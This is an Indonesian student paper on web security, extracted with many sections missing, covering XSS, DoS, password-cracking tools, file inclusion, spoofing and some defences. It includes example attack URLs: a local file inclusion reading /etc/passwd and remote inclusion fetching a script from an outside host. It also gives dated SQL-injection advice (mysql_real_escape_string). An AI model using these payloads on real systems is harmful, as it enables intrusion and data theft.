Professional Documents
Culture Documents
WEB SECURITY
Disusun untuk memenuhi tugas mata kuliah Keamanan Komputer dan Jaringan
Oleh
Kelompok 2 :
Rozalia 1501081024
Nurhasandi 1501081038
2017
KATA PENGANTAR
Puji syukur kehadirat Tuhan Yang Maha Esa yang telah melimpahkan rahmat-Nya kepada
penulis sehingga penulis dapat menyelesaikan makalah ini untuk memenuhi tugas pada mata
kuliah Keamanan Komputer dan Jaringan.
Makalah ini membahas mengenai Keamanan Web. Keamanan web merupakan hal yang
penting ketika berbicara mengenai pembangunan sebuah website. Dengan fasilitas dan fungsional
lengkap yang ditawarkan sebah website maka akan percuma ketika web tersebut tidak memiliki
sistem keamanan. Oleh karena itu, pentingnya untuk kita mengetahui keamanan web tersebut.
Pada kesempatan ini penulis menyampaikan terima kasih khususnya kepada Bapak
Deni Satria, S.Kom.,M.Kom.,sebagai dosen mata kuliah Keamanan Komputer dan Jaringan yang
telah memberikan tugas ini sebagai langkah penanaman pemahaman untuk mahasiswa.
Dalam penyusunan makalah ini penulis menyadari masih banyak kekurangan, untuk itu
penulis menerima kritik dan saran yang sifatnya membangun sebagai bahan perbaikan dikemudian
hari. Semoga makalah ini dapat bermanfaat bagi semua pihak khusunya penulis dan umumnya
bagi para pembaca.
Penulis
2
DAFTAR ISI
3
BAB I PENDAHULUAN
1.3. Tujuan
Tujuan yang ingin dicapai dari makalah ini adalah :
1. Memenuhi tugas pada mata kuliah Keamanan Komputer dan Jaringan.
2. Mengetahui dan memahami jenis serangan terhadap web.
3. Mengetahui cara mengatasi serangan tersebut.
4. Mengetahui penyebab terjadinya serangan tersebut.
4
BAB II PEMBAHASAN
5
2) Namun textfield diatas belum memiliki sistem keamanan sehingga ketika user
mengetikan tag HTML dapat mengacaukan tampilan seperti dibawah ini.
6
2.2.3 Denial-of-service Attack
a. Pengertian
Denial-of-service merupakan serangan yang dibuat oleh hacker yang
mengirimkan request dalam jumlah yang sangat besar dan dalam waktu yang
bersamaan. Dikarenakan permintaan-permintaan tersebut, server menjadi
kelebihan beban dan tidak bisa melayani user lainnya. Serangan DoS mampu
menghabiskan bandwidth yang ada pada server. Selain itu dapat juga
menghabiskan memory, koneksi database, dan sumber yang lain.
b. Contoh Kasus
Insiden yang menyerang DDOS juga terjadi pada pertengahan tahun 2009
dimana domain.co.id sempat drop selama 4 hari akibat serangan DDOS. Hal ini
menunjukkan adanya kelemahan yang sangat mendasar dalam sistem DNS CCTLD-
ID. Situasi ini sangat berbahaya mengingat domain.co.id merupakan salah satu
infrastruktur Internet Indonesia yang strategis. Kegagalan sistem DNS CCTLD-ID
berpotensi menimbulkan kerugian ekonomi. Karena domain drop otomatis para
pengguna tidak dapat mengakses situs dengan domain.co.id . bagi pengguna email di
yahoo.co.id. tidak dapat mengakses emailnya karena domainnya telah down.
Beberapa saat setelah kejadian tersebut administrator diberitakan melakukan
maintenance terhadap system keamanan domain tersebut dan sampai sekarang masih
dapat dinikmati oleh masyarakat.
7
2.2.4 Password Cracking Tools
a. Pengertian
Password cracking tools adalah alat bantu untuk menemukan atau membobol
kata kunci rahasia dari data yang telah disimpan atau dikirim oleh sistem komputer.
Tujuan dari password cracking adalah untuk membantu user memperoleh kembali
password yang lupa atau hilang, untuk mendapatkan sebuah hak akses kedalam
sebuah sistem atau bahkan sebagai cara untuk mengukur pencegahan oleh seorang
administrator sistem untuk mengecek password-password yang dapat di-crack
dengan mudah.
b. Contoh Password Cracking Tools
1) NIX Brute Force merupakan sebuah tools yang menggunakan teknik brute
force untuk masuk ke sebuah sistem tanpa otentikasi terlebih dahulu. Teknik
brute force ini akan dapat menebak dengan mudah atau bisa dengan cepat
menembus password yang lemah.
2) Hydra adalah tool untuk melakukan hacking password dengan menggunakan
metode dictionary attack seperti untuk hacking password access point,
password telnet dan lainnya.
3) Hashcat adalah sebuah tool untuk crack berbagai password yang di enkripsi,
sangat powerfull untuk recovery password.
8
Local File Inclusion adalah sebuah celah dalam situs dimana attacker dapat
mengakses semua file di dalam server dengan hanya melalui URL.
b. Penyebab Terjadinya Inclusion
Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau
ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file.
Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara
benar dapat di eksploitasi.
c. Akibat file Inclusion
1. Web root folder / subdirectory defacing.
2. Previledge escalation (mendapatkan hak akses lebih tinggi).
3. Menjalankan proses dalam server (psyBNC, bots, dsb)
4. Pilfering ( pencurian data )
5. Pengambilalihan server
6. eksekusi perintah jarak jauh (Remote
Commands Execution) terhadap server.
d. Contoh kode Vulnerable
Contoh LFI :
http://www.situs.net/page.php?page=../../../../../etc/passwd
Contoh RFI :
http://www.situs.net/page.php?page=http://www.site.com/evilscript.txt?
9
Server asli agar pengguna Internet terkelabui untuk mengakses web site palsu yang dibuat
benar-benar menyerupai aslinya tersebut, agar data dapat masuk ke server palsu.
2.2.7 Spoofing
a. Pengertian
Spoofing adalah Teknik yang digunakan untuk memperoleh akses yang tidak
sah ke suatu komputer atau informasi, dimana penyerang berhubungan dengan
pengguna dengan berpura-pura memalsukan bahwa mereka adalah host yang dapat
dipercaya.
b. Contoh Web Spoofing
Web Spoofing melibatkan sebuah server web yang dimiliki penyerang yang
diletakkan pada internet antara pengguna dengan WWW, sehingga akses ke web yang
dituju pengguna akan melalui server penyerang. Cara seperti ini dikenal dengan
sebutan man in the middle attack. Hal ini dapat terjadi dengan beberapa jalan, tapi
yang paling mungkin adalah :
akses ke situs web diarahkan melalui sebuah proxy server : ini disebut (HTTP)
application proxy. Hal ini memberikan pengelolaan jaringan yang lebih baik untuk
akses ke server. Ini merupakan teknik yang cukup baik yang digunakan pada banyak
situs-situs di internet, akan tetapi teknik ini tidak mencegah Web Spoofing.
Seseorang menaruh link yang palsu (yang sudah di-hack) pada halaman web yang
populer.
Kita menggunakan search engine (mesin pencari, seperti Yahoo, Alta Vista, Goggle)
untuk mendapatkan link dari topik yang ingin dicari. Tanpa kita ketahui, beberapa
dari link ini telah diletakkan oleh hacker yang berpura-pura menjadi orang lain.
Seperti, pencarian untuk situs bank memberikan salah satu hasil
http://www.kilkbca.com, sayangnya kita mungkin tidak mengetahui bahwa URL
sebenarnya dari Bank BCA adalah http://www.klikbca.com
Kita menggunakan browser untuk mengakses sebuah Web. Semua yang ada
pada NET (baik Internet maupun Intranet) direferensikan dengan Universal Resource
Locator(URL).Pertama-tama penyerang harus menulis-ulang URL dari halaman web
yang dituju sehingga mereka mengacu ke server yang dimiliki penyerang daripada ke
10
server web yang sebenarnya. Misalnya, server penyerang terletak di
www.attacker.com, maka penyerang akan menulisulang URL dengan menambahkan
http://www.attacker.com didepan URL yang asli.
11
2.4 Cara Mengatasi Serangan Terhadap Web
2.4.1 Mengatasi Serangan XSS
a. Solusi pencegahan untuk User
Untuk user solusi termudah adalah mematikan semua bahasa script yang
ada pada komputernya. Tentu saja hal ini juga menyebabkan beberapa
fungsionalitas pada site yang sedang dikunjungi menjadi tidak berjalan. Alternatif
lain adalah berhati-hati dalam mengunjungi suatu situs, terutama pada source URL
nya dan melakukan validasi data yang dimasukan oleh user request.
Sebab tidak ada dua aplikasi yang identik, pengembang aplikasi perlu
menyelaraskan antisipasi pengamanannya sebagaimana ditetapkan oleh kebutuhan bisnis.
Kunci dalam mencegah aplikasi yang rawan terhadap injeksi kode dan serangan tipikal
CSS ialah dengan memastikan bahwa halaman yang membangkitkan konten secara
dinamis tidak mengandung tag yang tidak diinginkan.
Query string
URLs dan bagian universal locator
Data yang dikirimkan
Cookies
Data persisten yang dipasok oleh user dan ditemu-kembali saat waktu setelahnya.
Solusi untuk pencegahan adanya serangan ini secara garis besar dapat disediakan
pada sisi klien dan pada sisi server.
Antipasi pada sisi Client,Solusi yang ditawarkan ialah:
Filtering
Menapis masukan dari klien browser dengan mewaspadai karakter-karakter
khusus.
12
Encoding
Melakukan pengkodean karakter yang dinilai membahayakan menjadi
karakter yang bisa diabaikan merupakan tujuan dari encoding. Dibandingkan
dengan filtering, encoding juga memiliki keuntungan, yaitu tidak
mengakibatkan hilangnya data.
Validasi
Teknik ini dilakukan untuk menjamin hanya input yang tepat yang akan
dipilih.
Sedangkan solusi yang diterapkan pada interaksi di sisi server :
Membatasi respon server
Membatasi jumlah personalised data yang dikirim ke browser klien
melalui penggunaan respon. Sebagai contoh, sebuah situs yang menampilkan
sapaan pada user saat pertama kali login sebagai response atas
http://trusted.org/greeting.jsp?name=User, demi pertimbangan keamanan,
perlu untuk mengorbankan respon dinamis seperti
http://trusted.org/greeting.jsp?name=User ke dalam bentuk hard code.
Membatasi panjang respon string
Pengembang seharusnya dapat membatasi panjang maksimum string yang
dipasok oleh user, walaupun awalnya dipaksakan di sisi klien, pasokan string
tersebut juga harus diperiksa di sisi server, dimana sangat memungkinkan
ditegakkannya batas maksimum panjang string yang dilewatkan pada satu
response.
HTTP referrer
Memanfaatkan standar HTTP dengan menggunakan bagian field header
referer, ketika klien browser mengikuti sebuah link atau mengirimkan data.
Isi referer harus berisi URL dari halaman asal data, ini memungkinkan aplikasi
web untuk memeriksa field referer dan menolak bila bukan berasal dari asal
host yang dibenarkan.
13
2.4.2 Mengatasi Serangan SQL Injection
Ada beberapa cara yang bisa kita lakukan untuk mengatasi serangan SQL injection
, kita bisa membuat script anti SQL injection dengan memanfaatkan fungsi bawan dari PHP
yaitu mysql_real_escape atau mysql_real_escape_string. cara penggunaanya adalah
sebagai berikut :
$id = mysql_real_escape_string($_GET['id']);
Selain cara di atas, ada beberapa tips aplikatif yang bisa anda gunakan untuk
mengamankan web anda dari serangan SQL injection, berikut ini tips nya :
14
6. Selalu Memperbaharui Sistem di Situs Anda
7. Selalu kontrol Setiap Ada IP Terbaru dan IP Yang mencurigakan
8. Membuat tim khusus untuk mencegah dan mengatasi DDOS pada jaringan
Ketika mendapat serangan salah satu cara yang dapat dilakukan dengan langkah
sebagai berikut :
15
3. Tambahkan Password untuk direktori Admin panel anda
Cara ini juga sangat ampuh mengatasi serangan Brute Force, jadi sebelum
terjadi serangan ke admin panel anda , maka program Brute force akan melewati
sebuah Pop up yang meminta memasukkan username dan password yang berbeda
dengan Username dan password WordPress anda, cara ini dapat mudah dilakukan
dengan menambahkan .htaccess dan .htpasswd di direktori wp-admin.
AuthUserFile .htpasswd
AuthName "Login Area"
AuthType "Basic"
require user NamaAnda
4. Mengaktifkan Cloudflare
Cloudflare adalah salah satu partner kita. Di cloudflare sudah ada fitur
caching dan security, sehingga dapat meminimalisir dampak yang diterima dari
aktifitas bruteforce tersebut. mengaktifkan cloudflare bisa dilakukan melalu cPanel
pada menu "Cloudflare"
5. Menambahkan Captcha
Captcha adalah kata ujian yang ditambahkan pada halaman login untuk memastikan
bahwa input login dilakukan oleh human (manusia) bukan oleh robot (mesin). Banyak
plugin yang bisa diinstall untuk menambahkan captcha pada halaman login wordpress
16
http://www.[target].com/index.php?uploadfile=http://www.
[remote].com/hacked.txt
Dengan seperti ini server atau website yang diinject akan mencari
file http://www.[remote].com/hacked.txt dan pastinya akan menyebabkan
server menampilkan error bahwa tidak ditemukannya file tersebut.
17
BAB III PENUTUP
3.1. Kesimpulan
Keamanan suatu website merupakan salah satu prioritas yang sangat utama untuk menjaga
keamanan suatu sistem agar tidak menjadi objek kejahatan para cracker.Jika pengembang
mengabaikan kemanan suatu website, maka seorang hacker dapat mengambil data-data penting
pada suatu website dan bahkan dapat pula mengacak-acak tampilan website tersebut.
Kejahatan-kejahatan para hacker dapat diredam dengan cara para pengembang mengatasi
keamanan websitenya masing-masing agar tidak mudah ditembus.
18
DAFTAR PUSTAKA
19